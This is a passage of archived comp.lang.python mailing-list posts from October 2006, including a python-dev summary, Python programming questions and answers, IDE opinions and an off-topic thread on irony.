terms of readability. Is there any way to make this work as intended? From jweida at gmail.com Tue Oct 17 10:29:19 2006 From: jweida at gmail.com (Jerry) Date: 17 Oct 2006 07:29:19 -0700 Subject: Format a number as currency! I can't find any help on this simple problem. In-Reply-To: <1161094565.268129.132600@f16g2000cwb.googlegroups.com> References: <1160537295.884864.162200@i3g2000cwc.googlegroups.com> <1161094565.268129.132600@f16g2000cwb.googlegroups.com> Message-ID: <1161095358.941047.182320@f16g2000cwb.googlegroups.com> Replace the conv function call with locale.localeconv. -- Jerry From bearophileHUGS at lycos.com Wed Oct 11 17:58:57 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 11 Oct 2006 14:58:57 -0700 Subject: Standard Forth versus Python: a case study In-Reply-To: References: <7x3b9u376m.fsf@ruckus.brouhaha.com> Message-ID: <1160603937.392188.253250@m7g2000cwm.googlegroups.com> John Doty: > Yes. The efficient exact algorithms for this problem use *partial* > sorts. The Forth one from the FSL is of this class (although I know of > two better ones for big arrays). But it's tough to beat the efficiency > of the approximate histogram-based method the Python stats module > implements. The usual way to compute a true median with Python may be: def median(inlist): newlist = sorted(inlist) index = len(newlist) // 2 if len(newlist) % 2: return newlist[index] else: return (newlist[index] + newlist[index-1]) / 2.0 If you can use Psyco and your FITS lines are really long (well, maybe too much, the treshold if about >~3000 in my PC) you can use something like this instead the builtin timsort: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/466330 (To compute the median on a image line the median that uses sort is probably better in most cases, expecially if you use the built in sort of numerical libraries.) Bye, bearophile From fumanchu at amor.org Tue Oct 24 12:26:47 2006 From: fumanchu at amor.org (Robert Brewer) Date: Tue, 24 Oct 2006 09:26:47 -0700 Subject: Talks at PyCon that Teach How to Be Better Programmers Message-ID: <435DF58A933BA74397B42CDEB8145A86060FA979@ex9.hostedexchange.local> Jeff Rush wrote: > ...we need more talks that actually teach you how > to be better programmers...What the Heck Does > "Pythonic Programming Style" Mean Anyway? I'm finishing an outline for a talk which will overlap this one a bit, but under the topic "What makes a great API?" that will be directed more at library authors than users: I. Zero learning required ========================= """Civilization advances by extending the number of important operations which we can perform without thinking about them.""" -- Alfred North Whitehead, Introduction to Mathematics (1911) http://www.quotationspage.com/quote/30283.html """To be Pythonic is to avoid surprising experienced Python programmers with unfamiliar ways to accomplish a task.""" -- Martijn Faassen http://faassen.n--tree.net/blog/view/weblog/2005/08/06/0 1. Use native types, functions and idioms. a. Bare functions are better than class collections b. getters and setters considered harmful 2. Inventing new types: use Python idioms instead of inventing your own a. conform to Python API's b. subclass builtins rather than delegating c. judicious use of descriptors 3. DSLs suck 4. "Imagine your dream code and figure out how to make it happen" But when you need to learn/remember something, the API must be... II. Inspectable =============== 1. If help() is to be helpful, you must reduce [len(dir(obj)) for obj in all_obj]. 2. Dynamic languages naturally more lang-maven oriented? See http://osteele.com/archives/2004/11/ides III. Programmable ================= 1. Config and other "declarative" modes: No "XML sit-ups" IV. Readable = Simple ===================== 1. Parameterization and customization Robert Brewer System Architect Amor Ministries fumanchu at amor.org From steven.bethard at gmail.com Mon Oct 9 10:23:57 2006 From: steven.bethard at gmail.com (steven.bethard at gmail.com) Date: Mon, 9 Oct 2006 14:23:57 +0000 (GMT) Subject: python-dev Summary for 2006-08-01 through 2006-08-15 Message-ID: <20061009142359.7E19A1E4008@bag.python.org> python-dev Summary for 2006-08-01 through 2006-08-15 ++++++++++++++++++++++++++++++++++++++++++++++++++++ .. contents:: [The HTML version of this Summary is available at http://www.python.org/dev/summary/2006-08-01_2006-08-15] ========= Summaries ========= -------------------------------- Mixing str and unicode dict keys -------------------------------- Ralf Schmitt noted that in Python head, inserting str and unicode keys to the same dictionary would sometimes raise UnicodeDecodeErrors:: >>> d = {} >>> d[u'm\xe1s'] = 1 >>> d['m\xe1s'] = 1 Traceback (most recent call last): ... UnicodeDecodeError: 'ascii' codec can't decode byte 0xe1 in position 1: ordinal not in range(128) This error showed up as a result of Armin Rigo's `patch to stop dict lookup from hiding exceptions`_, which meant that the UnicodeDecodeError raised when a str object is compared to a non-ASCII unicode object was no longer silenced. In the end, people agreed that UnicodeDecodeError should not be raised for equality comparisons, and in general, ``__eq__()`` methods should not raise exceptions. But comparing str and unicode objects is often a programming error, so in addition to just returning False, equality comparisons on str and non-ASCII unicode now issues a warning with the UnicodeDecodeError message. .. _patch to stop dict lookup from hiding exceptions: http://bugs.python.org/1497053 Contributing threads: - `unicode hell/mixing str and unicode as dictionary keys `__ - `Dicts are broken Was: unicode hell/mixing str and unicode asdictionarykeys `__ - `Dicts are broken ... `__ - `Dict suppressing exceptions `__ ----------------------- Rounding floats to ints ----------------------- Bob Ippolito pointed out a long-standing bug in the struct module where floats were automatically converted to ints. Michael Urman showed a simple case that would provoke an exception if the bug were fixed:: pack('>H', round(value * 32768)) The source of this bug is the expectation that ``round()`` returns an int, when it actually returns a float. There was then some discussion about splitting the round functionality into two functions: ``__builtin__.round()`` which would round floats to ints, and ``math.round()`` which would round floats to floats. There was also some discussion about the optional argument to ``round()`` which currently specifies the number of decimal places to round to -- a number of folks felt that it was a mistake to round to *decimal* places when a float can only truly reflect *binary* places. In the end, there were no definite conclusions about the future of ``round()``, but it seemed like the discussion might be resumed on the Python 3000 list. Contributing threads: - `struct module and coercing floats to integers `__ - `Rounding float to int directly (Re: struct module and coercing floats to integers) `__ - `Rounding float to int directly (Re: struct module and coercing floats to integers) `__ - `Rounding float to int directly ... `__ - `struct module and coercing floats to integers `__ --------------------------- Assigning to function calls --------------------------- Neal Becker proposed that code by ``X() += 2`` be allowed so that you could call __iadd__ on objects immediately after creation. People pointed out that allowing augmented *assignment* is misleading when no assignment can occur, and it would be better just to call the method directly, e.g. ``X().__iadd__(2)``. Contributing threads: - `SyntaxError: can't assign to function call `__ - `Split augmented assignment into two operator sets? [Re: SyntaxError: can't assign to function call] `__ --------------------------------------- PEP 357: Integer clipping and __index__ --------------------------------------- After some further discussion on the `__index__ issue`_ of last fortnight, Travis E. Oliphant proposed `a patch for __index__`_ that introduced three new C API functions: * PyIndex_Check(obj) -- checks for nb_index * PyObject* PyNumber_Index(obj) -- calls nb_index if possible or raises a TypeError * Py_ssize_t PyNumber_AsSsize_t(obj, err) -- converts the object to a Py_ssize_t, raising err on overflow After a few minor edits, this patch was checked in. .. ___index__ issue: http://www.python.org/dev/summary/2006-07-16_2006-07-31/#pep-357-integer-clipping-and-index .. _a patch for __index__: http://bugs.python.org/1538606 Contributing threads: - `Bad interaction of __index__ and sequence repeat `__ - `__index__ clipping `__ - `Fwd: [Python-checkins] r51236 - in python/trunk: Doc/api/abstract.tex Include/abstract.h Include/object.h Lib/test/test_index.py Misc/NEWS Modules/arraymodule.c Modules/mmapmodule.c Modules/operator.c Objects/abstract.c Objects/classobject.c Objects/ `__ - `Fwd: [Python-checkins] r51236 - in python/trunk: Doc/api/abstract.tex Include/abstract.h Include/object.h Lib/test/test_index.py Misc/NEWS Modules/arraymodule.c Modules/mmapmodule.c Modules/operator.c Objects/abstract.c Objects/class `__ ---------------------------- OpenSSL and Windows binaries ---------------------------- Jim Jewett pointed out that a default build of OpenSSL includes the patented IDEA cipher, and asked whether that needed to be kept out of the Windows binary versions. There was some concern about dropping a feature, but Gregory P. Smith pointed out that IDEA isn't directly exposed to any Python user, and suggested that IDEA should never be required by any sane SSL connection. Martin v. Lowis promised to look into making the change. Update: The change was checked in before 2.5 was released. Contributing threads: - `windows 2.5 build: use OpenSSL for hashlib [bug 1535502] `__ - `openSSL and windows binaries - license `__ ---------------------------- Type of range object members ---------------------------- Alexander Belopolsky proposed making the members of the ``range()`` object use Py_ssize_t instead of C longs. Guido indicated that this was basically wasted effort -- in the long run, the members should be PyObject* so that they can handle Python longs correctly, so converting them to Py_ssize_t would be an intermediate step that wouldn't help in the transition. There was then some discussion about the int and long types in Python 3000, with Guido suggesting two separate implementations that would be mostly hidden at the Python level. Contributing thread: - `Type of range object members `__ ------------------------ Distutils version number ------------------------ A user noted that Python 2.4.3 shipped with distutils 2.4.1 and the version number of distutils in the repository was only 2.4.0 and requested that Python 2.5 include the newer distutils. In fact, the newest distutils was already the one in the repository but the version number had not been appropriately bumped. For a short while, the distutils number was automatically generated from the Python one, but Marc-Andre Lemburg volunteered to manually bump it so that it would be easier to use the SVN distutils with a different Python version. Contributing threads: - `Which version of distutils to ship with Python 2.5? `__ - `no remaining issues blocking 2.5 release `__ ------------------------------------- Dict containment and unhashable items ------------------------------------- tomer filiba suggested that dict.__contain__ should return False instead of raising a TypeError in situations like:: >>> a={1:2, 3:4} >>> [] in a Traceback (most recent call last): File "", line 1, in ? TypeError: list objects are unhashable Guido suggested that swallowing the TypeError here would be a mistake as it would also swallow any TypeErrors produced by faulty ``__hash__()`` methods. Contributing threads: - `dict containment annoyance `__ - `NotHashableError? (Re: dict containment annoyance) `__ ------------------------------- Returning longs from __hash__() ------------------------------- Armin Rigo pointed out that Python 2.5's change that allows id() to return ints or longs would have caused some breakage for custom hash functions like:: def __hash__(self): return id(self) Though it has long been documented that the result of ``id()`` is not suitable as a hash value, code like this is apparently common. So Martin v. Lowis and Armin arranged for ``PyLong_Type.tp_hash`` to be called in the code for ``hash()``. Contributing thread: - `returning longs from __hash__() `__ ---------------------- instancemethod builtin ---------------------- Nick Coghlan suggested adding an ``instancemethod()`` builtin along the lines of ``staticmethod()`` and ``classmethod()`` which would allow arbitrary callables to act more like functions. In particular, Nick was considering code like:: class C(object): method = some_callable Currently, if ``some_callable`` did not define the ``__get__()`` method, ``C().method`` would not bind the ``C`` instance as the first argument. By introducing ``instancemethod()``, this problem could be solved like:: class C(object): method = instancemethod(some_callable) There wasn't much of a reaction one way or another, so it looked like the idea would at least temporarily be shelved. Contributing thread: - `2.6 idea: a 'function' builtin to parallel classmethod and staticmethod `__ -------------------------------- Unicode versions and unicodedata -------------------------------- Armin Ronacher noted that Python 2.5 implements Unicode 4.1 but while a ucd_3_2_0 object is available (implementing Unicode 3.2), no ucd_4_1_0 object is available. Martin v. Lowis explained that the ucd_3_2_0 object is only available because IDNA needs it, and that there are no current plans to expose any other Unicode versions (and that ucd_3_2_0 may go away when IDNA no longer needs it). Contributing thread: - `Unicode Data in Python2.5 is missing a ucd_4_1_0 object `__ -------------------------- Elementtree and Namespaces -------------------------- Elements (and attributes) can be associated with a namespace, such as http://www.w3.org/XML/1998/namespace:id The xmlns attribute creates a "prefix" (alias) for a namespace, so that you can abbreviate the above as xml:id ElementTree treats the prefix as a just an aid to human readers, and creates its own abbreviations that are consistent throughout a document. Some tools (including w3 recommendations for canonicalization) treat the prefix itself as meaningful. Elementtree may support this in version 1.3, but it wasn't going to be there in time for 2.5, and it wasn't judged important enough to keep etree out of the release. If you need it sooner, then http://codespeak.net/lxml supports the etree API and does retain prefixes. Contributing thread: - `Elementtree and Namespaces in 2.5 `__ [Thanks to Jim Jewett for this summary.] ================== Previous Summaries ================== - `Release manager pronouncement needed: PEP 302 Fix `__ =============== Skipped Threads =============== - `clock_gettime() vs. gettimeofday()? `__ - `Strange memo behavior from cPickle `__ - `internal weakref API should be Py_ssize_t? `__ - `Weekly Python Patch/Bug Summary `__ - `Releasemanager, please approve #1532975 `__ - `FW: using globals `__ - `TRUNK FREEZE 2006-07-03, 00:00 UTC for 2.5b3 `__ - `segmentation fault in Python 2.5b3 (trunk:51066) `__ - `using globals `__ - `uuid module - byte order issue `__ - `RELEASED Python 2.5 (beta 3) `__ - `TRUNK is UNFROZEN `__ - `2.5 status `__ - `Python 2.5b3 and AIX 4.3 - It Works `__ - `More tracker demos online `__ - `need an SSH key removed `__ - `BZ2File.writelines should raise more meaningful exceptions `__ - `test_mailbox on Cygwin `__ - `cgi.FieldStorage DOS (sf bug #1112549) `__ - `2.5b3, commit r46372 regressed PEP 302 machinery (sf not letting me post) `__ - `free(): invalid pointer `__ - `should i put this on the bug tracker ? `__ - `Is this a bug? `__ - `httplib and bad response chunking `__ - `cgi DoS attack `__ - `DRAFT: python-dev summary for 2006-07-01 to 2006-07-15 `__ - `SimpleXMLWriter missing from elementtree `__ - `DRAFT: python-dev summary for 2006-07-16 to 2006-07-31 `__ - `Is module clearing still necessary? [Re: Is this a bug?] `__ - `PyThreadState_SetAsyncExc bug? `__ - `Errors after running make test `__ - `What is the status of file.readinto? `__ - `Recent logging spew `__ - `[Python-3000] Python 2.5 release schedule (was: threading, part 2) `__ - `test_socketserver failure on cygwin `__ - `ANN: byteplay - a bytecode assembler/disassembler `__ - `Arlington VA sprint on Sept. 23 `__ - `IDLE patches - bugfix or not? `__ - `Four issue trackers submitted for Infrastructue Committee's tracker search `__ ======== Epilogue ======== This is a summary of traffic on the `python-dev mailing list`_ from August 01, 2006 through August 15, 2006. It is intended to inform the wider Python community of on-going developments on the list on a semi-monthly basis. An archive_ of previous summaries is available online. An `RSS feed`_ of the titles of the summaries is available. You can also watch comp.lang.python or comp.lang.python.announce for new summaries (or through their email gateways of python-list or python-announce, respectively, as found at http://mail.python.org). This python-dev summary is the 10th written by Steve Bethard. To contact me, please send email: - Steve Bethard (steven.bethard at gmail.com) Do *not* post to comp.lang.python if you wish to reach me. The `Python Software Foundation`_ is the non-profit organization that holds the intellectual property for Python. It also tries to advance the development and use of Python. If you find the python-dev Summary helpful please consider making a donation. You can make a donation at http://python.org/psf/donations.html . Every cent counts so even a small donation with a credit card, check, or by PayPal helps. -------------------- Commenting on Topics -------------------- To comment on anything mentioned here, just post to `comp.lang.python`_ (or email python-list at python.org which is a gateway to the newsgroup) with a subject line mentioning what you are discussing. All python-dev members are interested in seeing ideas discussed by the community, so don't hesitate to take a stance on something. And if all of this really interests you then get involved and join `python-dev`_! ------------------------- How to Read the Summaries ------------------------- This summary is written using reStructuredText_. Any unfamiliar punctuation is probably markup for reST_ (otherwise it is probably regular expression syntax or a typo :); you can safely ignore it. We do suggest learning reST, though; it's simple and is accepted for `PEP markup`_ and can be turned into many different formats like HTML and LaTeX. .. _python-dev: http://www.python.org/dev/ .. _python-dev mailing list: http://mail.python.org/mailman/listinfo/python-dev .. _comp.lang.python: http://groups.google.com/groups?q=comp.lang.python .. _PEP Markup: http://www.python.org/peps/pep-0012.html .. _reST: .. _reStructuredText: http://docutils.sf.net/rst.html .. _Python Software Foundation: http://python.org/psf/ .. _archive: http://www.python.org/dev/summary/ .. _RSS feed: http://www.python.org/dev/summary/channews.rdf From maxm at mxm.dk Tue Oct 10 08:20:38 2006 From: maxm at mxm.dk (Max M) Date: Tue, 10 Oct 2006 14:20:38 +0200 Subject: OT: Sarcasm and irony In-Reply-To: References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <452b73ce$0$14045$edfadb0f@dread15.news.tele.dk> Message-ID: <452b9017$0$14045$edfadb0f@dread15.news.tele.dk> bryan rasmussen skrev: > Well irony originally started out as a very specific concept of the > Ancient Greek drama, this is what we nowadays refer to as Dramatic > Irony but it is the original irony. Irony then became a literary > concept for plot elements similar to Dramatic irony in books, or a > weaker type of the Dramatic irony found in the plays of Shakespeare. > People then noticed that life was at times ironic in the literary > manner. Yes and in Rome "salary" meant getting a bag of salt. Concepts changes. > Nowadays the use of the word irony has degenerated to by > pretty much synonymous with sarcasm. As a Dane that is a Chronic Ironic, I beg to differ. In Denmark at least there is a lot of difference between irony and sarcasm. Irony is the main form of humor here, and danes takes to it easily. People being sarcastic we don't much like. But I guess that it can be hard to se the difference for someone not used to irony. I believe the reason that irony works here is that we have such a homogenous society. Somewhere like the US where the cultural differences are larger, it is probably a lot harder for irony to be taken as such and not as sarcasm. -- hilsen/regards Max M, Denmark http://www.mxm.dk/ IT's Mad Science From bj_666 at gmx.net Thu Oct 5 06:52:13 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Thu, 05 Oct 2006 12:52:13 +0200 Subject: Why do this? References: Message-ID: In , Matthew Warren wrote: > I learned over the years to do things like the following, and I like > doing it like this because of readability, something Python seems to > focus on :- > > Print "There are "+number+" ways to skin a "+furryanimal > > But nowadays, I see things like this all over the place; > > print("There are %s ways to skin a %s" % (number, furryanimal)) > > Now I understand there can be additional formatting benefits when > dealing with numbers, decimal places etc.. But to me, for strings, the > second case is much harder to read than the first. For me it's the other way around -- I find the second one more readable especially without syntax highlighting to see which characters are inside and which are outside the quotes. With the second one there's a clear visual separation of the string literal and the variables, even without colors. Another advantage of the second way is much easier localization and other tasks where the sentence itself is not hardcoded but read from files, databases, etc. And the '%s' automatically converts the objects to strings. The equivalent to the second example without string formatting would be:: print 'There are' + str(number) + ' ways to skin a ' + str(furryanimal) Ciao, Marc 'BlackJack' Rintsch From richardjones at optushome.com.au Sun Oct 1 23:02:51 2006 From: richardjones at optushome.com.au (Richard Jones) Date: Mon, 02 Oct 2006 13:02:51 +1000 Subject: Simple but fast 2D lib for drawing pixels References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com> <1hmhych.1jaomee1msbzi8N%aleax@mac.com> <1159706488.576589.82080@i3g2000cwc.googlegroups.com> <4520408d$0$26622$91cee783@newsreader01.highway.telekom.at> Message-ID: <4520815b$0$28952$afc38c87@news.optusnet.com.au> Peter Mexbacher wrote: > We thought Python would make a good choice for > a first language; but where pretty stumped when > we found out that there is no simple way to draw > pixels to a screen. (This is needed for fractals, > agent-based models etc -> like Conways Game of Life) > [snip] > -) easy to learn (newbs!) > -) not too slow (after all, the models should simulate something) > -) python :-) http://www.pygame.org/ - it's not just for games :) It'll do what you want (put pixels on the screen) easily. It'll even let you work with numeric arrays and then put those arrays on screen. Sign up to the pygame users list to ask more questions - they're always a helpful, friendly bunch. Richard From sjmachin at lexicon.net Fri Oct 6 08:13:35 2006 From: sjmachin at lexicon.net (John Machin) Date: 6 Oct 2006 05:13:35 -0700 Subject: TypeError: unsupported type for timedelta days component: unicode References: <1160135247.133780.96690@m73g2000cwd.googlegroups.com> Message-ID: <1160136815.138846.157910@b28g2000cwb.googlegroups.com> kath wrote: > Hi, > > the following shows the contents of "datebook.xls" > > Date > 8/9/2006 > 8/9/2006 > 8/9/2006 > 8/9/2006 > 8/9/2006 > > # read_date.py > import xlrd > > book = xlrd.open_workbook("datebook.xls") > sh = book.sheet_by_index(0) > ex_qdate=sh.cell_value(rowx=1,colx=0) > pyd=datetime.date(1900,1,1)+datetime.timedelta(days=sh.cell_value(rowx=1,colx=0)) ############################ Go back and read *ALL* the responses to your previous question. The above is *INCORRECT*. As you can see, for input of 8/9/2006 (M/D/YYYY format), it produces 2006-08-11. *Please* read the sections on Excel dates in the xlrd documentation. ############################ > print pyd > > for c in range(sh.ncols): > for r in range(sh.nrows): > print sh.cell_value(rowx=r,colx=c) Problem 1: you are including the heading. Add this in here: print "row %d, col %d, cell_type %d" % (r, c, sh.cell_type(r, c)) and that might give you a clue. > print > datetime.date(1900,1,1)+datetime.timedelta(days=sh.cell_value(rowx=r,colx=c)) Maybe Problem 2: your posting seems to be missing indentation on this line. > > ---- Output ---- > >>> > 2006-08-11 > Date > Traceback (most recent call last): > File "D:/Python23/Testing area/Python and Excel/read_date.py", line How do you manage to get both "D:" and "/" in a path? Which version of which OS are you running? Why are you using Python 2.3? Why are you keeping your own files in a subdirectory of your Python installation? > 12, in ? > print > datetime.date(1900,1,1)+datetime.timedelta(days=sh.cell_value(rowx=r,colx=c)) > TypeError: unsupported type for timedelta days component: unicode > >>> > > The first print statement gives me desired output. Whats wrong with > second print statement? > When I give the discriptor or index explicitly its giving the correct > answer. > Why not in the loop? As explained above. > > Am I wrong some where? I think that's not an reasonable conclusion :-) HTH, John From fredrik at pythonware.com Mon Oct 23 02:57:49 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 23 Oct 2006 08:57:49 +0200 Subject: Arrays? (Or lists if you prefer) In-Reply-To: <1161585837.292211.233680@i42g2000cwa.googlegroups.com> References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com> <1161585837.292211.233680@i42g2000cwa.googlegroups.com> Message-ID: Hakusa at gmail.com wrote: > Interesting. Could I do . . . let's say > > b = [range(range(3)] > > for a three-dimensional array? >>> [range(range(3))] Traceback (most recent call last): File "", line 1, in TypeError: range() integer end argument expected, got list. if your mail program is easier to reach than your Python interpreter window, something's wrong with your setup. From deets at nospam.web.de Thu Oct 19 20:13:58 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Fri, 20 Oct 2006 02:13:58 +0200 Subject: Can I use decorators to manipulate return type or create methods? In-Reply-To: <1161298362.722062.265520@i3g2000cwc.googlegroups.com> References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com> <4ppla2Fit83qU1@uni-berlin.de> <1161298362.722062.265520@i3g2000cwc.googlegroups.com> Message-ID: <4pqim4Fjtbv4U1@uni-berlin.de> WakeBdr schrieb: > Diez, > What does the function._marked accomplish? Its a decorator that tells the metaclass which functions to provide with a *XML/*FOO variant as well. I thought that was pretty obvious, given the name "mark" and all that. Diez From mail at microcorp.co.za Tue Oct 24 01:59:02 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Tue, 24 Oct 2006 07:59:02 +0200 Subject: Rabbit Modules - Dynamic C - Python References: <1161634614.172031.156720@h48g2000cwc.googlegroups.com> Message-ID: <021a01c6f734$cd814900$03000080@hendrik> "Picio" wrote: > Hello, > I would wonder if anyone knows something about programming with > Python, Rabbit Core Modules, that normally were programmed with Dynamic > C. > > I mean either: > - something like using python to create code in dynamic suitable for > the rabbit core > - writing machine code for the rabbit core using a python API. > > Sorry if I'm not using the rights technicals words. > > Picio if I remember correctly, the rabbit is a modified z180, which is a modified z80, which is a descendant of the 8080... so it should be possible - however, the average ram memory in a rabbit module will probably not support Python - it is unlikely that there will be enough for the Object Orientation that Python brings.... - Hendrik From stugots at qwest.net Sat Oct 14 13:35:38 2006 From: stugots at qwest.net (John DeRosa) Date: Sat, 14 Oct 2006 10:35:38 -0700 Subject: SPE for 2.5? References: <1160786472.050255.306850@e3g2000cwe.googlegroups.com> Message-ID: On 13 Oct 2006 17:41:12 -0700, "Fuzzyman" wrote: > >John Salerno wrote: >> Does anyone know if SPE is compatible with Python 2.5? I don't see a >> Windows exe file for 2.5, so I wasn't sure if I should use the 2.4 version. >> > >Certainly worth trying the 2.4 version, but it's true that there hasn't >been an uupdate of SPE for a long time. > >Shame as it is a *very* nice IDE, but it had too many quirks (with >little chance of them being fixed it seemed) to use it for commercial >development at Resolver. +1. It's been moribund for about 3/4 of a year now. I'm nearing the point of switching to something else. From buzzard at urubu.freeserve.co.uk Sat Oct 7 21:16:49 2006 From: buzzard at urubu.freeserve.co.uk (Duncan Smith) Date: Sun, 08 Oct 2006 02:16:49 +0100 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <1160267115.309599.26160@e3g2000cwe.googlegroups.com> References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> <1160241982.216511.281950@m73g2000cwd.googlegroups.com> <1160262952.734016.306150@e3g2000cwe.googlegroups.com> <452846fe.0@entanet> <1160267115.309599.26160@e3g2000cwe.googlegroups.com> Message-ID: <45285588.0@entanet> MonkeeSage wrote: > > On Oct 7, 7:14 pm, Duncan Smith wrote: > >>No. The above constructs a list of keys and searches the list for the >>key, O(n). "key in somedict" is a lookup, O(1). > > > My point wasn't in regard to implementation details, but in regard to > convenience methods. Obviously the sugary dict methods are tweaked for > the best performance (one would hope!), as would be sugary sequence > methods were they to be added. What I was wondering is why > dict.has_key() and get() are there but not list.has_index() and get(). > > Regards, > Jordan > All I can say is that, I personally, would have little use for those list methods. Those involved in the design of the language will no doubt have much better reasons than this. Duncan From anthonybaxter at gmail.com Sun Oct 22 00:50:54 2006 From: anthonybaxter at gmail.com (Anthony Baxter) Date: Sun, 22 Oct 2006 14:50:54 +1000 Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ? In-Reply-To: <1161491991.010112.65630@k70g2000cwa.googlegroups.com> References: <1161491991.010112.65630@k70g2000cwa.googlegroups.com> Message-ID: On 21 Oct 2006 21:39:51 -0700, casevh at comcast.net wrote: > mingw32 is supported and can compile many extensions. See the following > post: > > http://groups.google.com/group/comp.lang.python/msg/8e2260fe4d4b7de9 > > If you meant something else with your comment, please explain. That's for Python 2.4. I'm not sure it works the same way with Python 2.5. If someone has information to the contrary, it would be excellent to get confirmation and the steps that are necessary... From rNOSPAMon at flownet.com Sat Oct 21 13:31:25 2006 From: rNOSPAMon at flownet.com (Ron Garret) Date: Sat, 21 Oct 2006 10:31:25 -0700 Subject: Why doesn't this work? References: <453A507E.4070602@websafe.com> Message-ID: In article <453A507E.4070602 at websafe.com>, Larry Bates wrote: > Because datetime is a new-style class: Ah. > The Constructor __new__ > > If you are like me, then you probably always thought of the __init__ method > as > the Python equivalent of what is called a constructor in C++. This isn't the > whole story. > > When an instance of a class is created, Python first calls the __new__ method > of > the class. __new__ is a static method that is called with the class as its > first > argument. __new__ returns a new instance of the class. > > The __init__ method is called afterwards to initialize the instance. In some > situations (think "unplickling"!), no initialization is performed. Also, > immutable types like int and str are completely constructed by the __new__ > method; their __init__ method does nothing. This way, it is impossible to > circumvent immutability by explicitly calling the __init__ method after > construction. > > > I think what you wanted was: > > >>> class ts(datetime): > ... def __new__(self): pass > ... > >>> a=ts() > > -Larry Thanks! rg From deets at nospam.web.de Tue Oct 10 10:18:04 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Tue, 10 Oct 2006 16:18:04 +0200 Subject: Dive Into Java? References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de> <4ovcbvFgc2nlU1@individual.net> <4p1jm5Fgpgl7U1@uni-berlin.de> <452b9ec5$0$30991$426a74cc@news.free.fr> Message-ID: <4p1ocsFge1f1U1@uni-berlin.de> Christophe wrote: > Diez B. Roggisch a ?crit : >> The code _generated_ by the java compiler, and the C++ compiler, is not >> the issue here. If you as a programmer can write "a" + "b", its fine. >> Which is a thing to reach in C++, a bazillion of string-classes have been >> written.... >> >> >> and in C++, you can do: >> >> char *a = "1"; >> char *b = "2"; >> char *c = a + b; >> >> But with a totally different, unexpected outcome.. I know where *I* start >> laughing here. > > That code doesn't even compile. And you shouldn't be using the char* > compatibility strings in C++ if possible. It was out of my head. I remember producing some wicked pointer arithmetic example of similar ridicule. And the whole argument is about java having a lot of design decisions that make it easier to work with is actually strengthened when you say that "you shouldn't use the char* ..." - because its not forbidden, and maybe someone else didn't follow that suggestion. I remember quite a few times calling the stl-string-to-char-function (no idea how that is called now) Diez From sjdevnull at yahoo.com Fri Oct 13 18:40:13 2006 From: sjdevnull at yahoo.com (sjdevnull at yahoo.com) Date: 13 Oct 2006 15:40:13 -0700 Subject: Best IDE? In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> Message-ID: <1160779213.761906.285630@k70g2000cwa.googlegroups.com> Ahmer wrote: > What do you guys use? vim > What platform(s) is it avalable on? Windows, Unix/Linux, Mac, Amiga, others > How much does it cost? Free, and the source is open too. > Why? > What do you like and hate about it? Like: Built-in python interpreter so you can do any editor customizations in Python Good multilanguage support (Python, but also C, C++, Java, HTML, XML, SQL, and dozens of others) FAST Good code navigation via smart tags Does intelligent completion of module members, methods, etc Python syntax checking on the fly (e.g. typing "if a=1:" and hitting enter flags the error immediately) Class browsing support (whatever I'm editing, there's a class menu to either pop up to the parent(s), down to children, or jump around various methods within the class) Automatically show function/method docstrings/leading comments (and documentation for standard functions), synopsis in the status bar or full text in a popup window if you hit F1 Configurable project support so for large projects it is smart about which parts of the source tree might be relevant to what I'm working on right now Runs in text-mode or GUI, so I can use the same editor making quick edits over ssh that I use in my on-desktop development Hate: Required a lot of customization to get all of the above From steve at REMOVE.THIS.cybersource.com.au Sat Oct 28 03:23:49 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sat, 28 Oct 2006 17:23:49 +1000 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: On Fri, 27 Oct 2006 17:35:58 +0000, Antoon Pardon wrote: > On 2006-10-27, Steven D'Aprano wrote: > >> But in this specific instance, I don't see any advantage to explicitly >> testing the length of a list. Antoon might think that is sufficiently >> polymorphic, but it isn't. He cares whether the object has zero _length_, >> but for true polymorphism, he should be caring about whether the object is >> _empty_. Not all empty objects have zero length, or even a length at all. >> (E.g. binary trees.) That's why Python classes can use a __nonzero__ >> method, falling back on __len__ only if __nonzero__ is not defined. > > Nobody can force you to write a container class that also provides a > __len__ method. But if you don't provide one then IMO it is your class > that deviates from standard practice. Mathematically, sets and > directories have no length either, yet the len function does provide > an answer if you give it a set or directory as an argument. Do you mean dictionary? Dictionaries, a.k.a. hash tables, aren't a standard mathematical data type. Even if they were, they have two "lengths" (size really): the size of the table, and the number of items in the table. In a high level language like Python, you don't care about the size of the table (since it will, I believe, automatically grow dynamically if you need it to), so number of items is the only "size" (length) 